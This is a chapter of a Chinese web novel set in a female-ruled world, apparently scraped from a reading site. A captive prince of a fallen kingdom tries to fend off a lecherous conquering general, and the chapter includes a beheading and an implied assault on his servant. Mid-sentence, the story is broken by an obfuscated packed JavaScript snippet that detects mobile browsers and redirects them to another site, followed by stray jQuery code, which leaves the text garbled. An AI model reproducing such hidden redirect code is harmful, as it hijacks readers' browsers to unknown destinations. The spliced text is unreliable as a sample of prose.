4. 炼狱

作品:《妻主凶蛮(女尊)

    李景夜往里避开,慌乱地心如擂鼓!


    尤其瞥见梁国使臣脸上的铁青之色后,心中揣测梁人话中的意思,受辱的滋味更是艰涩难当。


    “你们是不是活够了!给本官退下去!凤上的后宫也敢染指!”


    好在使臣行动利落,指挥着侍从一起把里面的屏风抬出来,挡住这些令人作呕的视线。


    外面人听到只是笑嘻嘻地躲开门边,污言秽语却愈演愈烈,不断升级。


    梁国使臣忍无可忍,狠狠用梁国话骂了回去!


    她用尽毕生所学喝骂着那些兵痞,同时在屋里寻着替代的物件,好贴补上窗纸。


    *


    上京城外百余里。


    梁国国君卉炽正率领大军纵马前行。


    宋碧冼还在生她的气,早早跑前头去了。


    她一想到宋碧冼那张因为被王盟抢得先机进城,气的冰封十里的冰块脸,简直憋笑憋的辛苦。


    她虽然讨厌王盟的行事作风,但是难得看见宋碧冼那没心没肺的狼崽子生气,真是让她连日里不太舒畅的心情直接大好,差点当面笑出声!


    要知道这个世上大概只有两件事能让这面无表情的女人变换表情,一个是灭她全族的敌人,另一个是小时候救过她一命的恩人。


    她的恩人现在就在那楚王宫里如王盟的待宰羔羊、瑟瑟发抖,狼崽子恐怖的表情呀,真是难看的精彩!


    一名斥候从远处竭力跑来,他着急地向陛下回报。


    “禀陛下!宋将军公然违反军纪,不顾副将的劝阻带着一小队人脱离大军,独自疾行,先跑到前头去抓人了!”


    “噗!哈哈哈哈哈!”


    卉炽骑在颠簸的马上,听完实在控制不住表情。


    她早就知道宋碧冼闲不住,果然已经火急火燎的跑出去逮人了。


    “让她去!”卉炽摆手,“带不回李氏的人头,军法处斩!”


    身边的随军不清楚二人一向的相处模式,没想到一向威严的陛下非但不生气,还一直哈哈大笑,甚至笑得地让人担心她会从马背上背过气儿去。


    卉炽在一边笑够了,招为她办事的白鹭官上前来,吩咐她们务必暗中保护好楚宫里的成颂长殿下。


    “你们可得努把力,那人重要的很。”


    卉炽下令的语调轻松,却浑身都散发着帝王恐怖的压迫感,眼神危险地撇了白鹭官一眼。


    她在明面上还不想与王盟起冲突。


    但是,如果人没保住,那个急匆匆跑出去咬人的狼崽子,可是要杀回来呲牙的呀……


    *


    夜深,利器均被收缴。


    使臣只能抱着个捡到的空剑鞘坐屏风外侧,守着屏风后两个依偎在一起的主仆。


    她警醒着门外动静,直到听见外面梁兵低语:“……大人们都去那边快活了,这边?明天再说吧。”


    这才没那么紧张地松了松麻木的双手。


    她轻声安慰李景夜说今晚王盟不会来了,让他放心休息。


    屏风后的李景夜敲了两下屏风,示意自己知道了。


    李景夜睁着眼睛精神的出奇,他与精疲力竭,眼皮不断打架,闭上后又迅速吓醒的侍从靠在一起,眼中交替弥漫着愤恨和无措。


    他心思通透,看得出来这支军队残暴荒淫,如果领头的人今夜没能到这里,那肯定是发现了别的地方。


    想到紧闭大门的凤栖宫,李景夜浑身发冷,心中惨笑:如此,竟是让他多苟活了一天。


    *


    日出。


    朝阳照亮了石板路上斑斑的血迹,听得出外面的人在清理尸体。


    梁使自知躲得过昨日也躲不过今日,但使臣的行事准则便是从不放弃!


    她从怀中掏出出使令牌吩咐李景夜收好,见李景夜形容憔悴,眼下乌青,她得想些法子鼓励他让他坚持住。


    “殿下,可还记得昨日送臣进宫的小太监?”其实她也不知那人什么来头,但多少能够猜到。


    敢在两国交战之时将她藏起不被发现,又有能力在楚宫攻破前把她弄进宫的人,背后必定有极大依仗。


    见李景夜点头,使臣笑笑,敦敦善诱:“殿下可知道我梁国的一种鸟,叫白鹭?”


    那种能在敌国神出鬼没,陛下亲自训养的一群白鹭。


    听着使臣温声介绍完,李景夜的身体不像刚刚那么紧绷了。


    “白鹭官行踪难以捉摸,但他既然能将本官从宫外带进来,想必也有办法能护着殿下周全。”


    “借使臣吉言。”李景夜昨夜也在思索是谁帮他,但实在没想到会是梁国的陛下。


    他除了长得好也没什么别的,一个什么美色都见惯的一国之主,不可能会给他什么特别待遇。


    再说,如果是陛下要他,她一声令下便是,实在没必要如此偷偷摸摸。


    这种行事方式……是那位陛下不想为了他与王盟背后世族庞大的权力交锋呢?还是他的价值,也就只值得她随便捞两下玩玩?


    李景夜垂眸,鸦羽般的睫毛轻颤,神情总算稍微放松了一些。


    他早就习惯了努力成为一颗有用棋子的生活,执棋人是母皇还是梁皇又能有什么分别?


    他现在还不够资格让梁国国君在他身上花费太多力气,只能拼尽全力去抓住她施舍出的那一星半点希望。


    *


    王盟作为一个将军,好在还没被酒色侵蚀干净脑子,知道以军务为重。


    只是她的责任心显然只够支撑她正经半天,晌午一过,她果然火急火燎地来了。


    “美人儿?在哪呢?”


    嫌使臣“聒噪”,王盟一进门就让人就砍掉了那中年女人的头,用淬着贪婪与恶意的眼神盯着这楚国至美。


    王盟身材魁梧,她瞪着凸出的眼睛瞧了李景夜半晌。


    浑浊的眼神贴在他的身上,搓着手坐在了离李景夜最近的地方。


    “听说殿下乃楚国皇室珍宝,劳烦您摘下面巾给本将军看看清楚,才好严明真身啊。”


    她声音粗粝,但难得用上了哄人的语气。


    听说楚国皇帝的这个大儿子天生一副柔弱骨相,雅静端庄的脸上长着一双娇媚的眼睛,我见犹怜的很!


    李景夜瞟了一眼地上的人头,知道使臣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791755|158139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的头就是砍给他看的。


    鸡已经杀了,作为那只被儆的猴,他强忍着恶心,乖乖低头。


    伸手撤掉了面纱,他的眼睛已经在一睁一闭中,盈盈蓄了些泪光。


    王盟在他面纱落地的时候就看得痴了,她不自觉往前两步。


    李景夜便如同受惊吓的小兔子,紧张地退后几步。


    “将军自重!”


    只见此时的李景夜被她吓的拔掉了头上金簪,抖着手抵住自己的脖子,告诫她不要再过来,再过来就自尽云云。


    李景夜清灵又柔媚的声音听得王盟浑身一麻,她隔空伸手,示意他冷静。


    “哎!好好好,美人莫动,莫动!划下去皮肤破了可就不好看了。”


    兴许是王盟昨天刚发泄完一身邪火,今日见了柔媚矜贵的长殿下,素来荒淫的她竟也心生怜惜,一直哄着、劝着,没有用强。


    李景夜见缓兵之计奏效,红着眼睛,期期艾艾地说些矫揉造作的念词。


    大体意思就是:“我害怕,外面的人好凶,你要是也凶,我就去死。”


    王盟也不知道自己是被灌了什么迷魂汤,见他泪眼涟涟,居然就顺着他的话全都答应了下来。


    算了,反正凤栖宫的那些人她用的还算畅快,这次想要换个方式,“哄”着美人低头也不错。


    这等绝色,强迫哪有“自愿”来让她更有感觉呢?


    王盟咽了口唾沫,她怕再待下去要破功,得先去凤栖宫先抓个人用用,于是主动告辞,道:“本将军还有些事要处理,明天再来看殿下。”


    李景夜以为事情暂时揭过,没想到,她走之前借口搜身,当众当属下扒了他仅剩下那个侍从的衣服,直接扔给外面守门的人当犒赏!


    “殿下!救我!殿下!”


    仆从被粗暴地拖出门,惊声尖叫:“我不要!你们放手!放开我!”


    李景夜想张口要人,被王盟打断道:“美人莫怕,我的向来对美人怜惜,断不会将那些手段用在我的人身上。”


    她纵容着下属的恶行,转头笑吟吟安慰他道:“美人害怕的紧了就叫本将军,本将军必定时刻陪伴在美人身边,日夜守护,不离半步。”


    王盟恶笑着走了,那些人在李景夜门外逮着他的侍从欢呼施暴!


    殿里只剩他和使臣滚落桌边的人头。


    这一夜,纸窗户上被反复被戳开的洞再也无人去补。


    李景夜缩在床脚,他拉上床帷,强迫自己不去想窗户上那越来越多的破洞和洞口后渗人的眼睛。


    他强撑精神,紧握袖子里藏着的那把削铁如泥的匕首,木偶般一遍遍对自己重复道:“没事没事的,我还有用……我是有用的……就算解决不了别人,我还能解决自己……”


    *


    楚国仅是被灭三日,时间却像过了三辈子那样漫长。


    又到白天,得了吩咐的梁兵们,仿佛终于想起殿中娇滴滴的美人不曾进食。


    她们特地把之前被掳走的侍从也捡了回来,胡乱搜罗了点东西摆好盘,嬉皮笑脸地推搡着二人,让他们给那传言中漂亮的不像话的主子去送饭。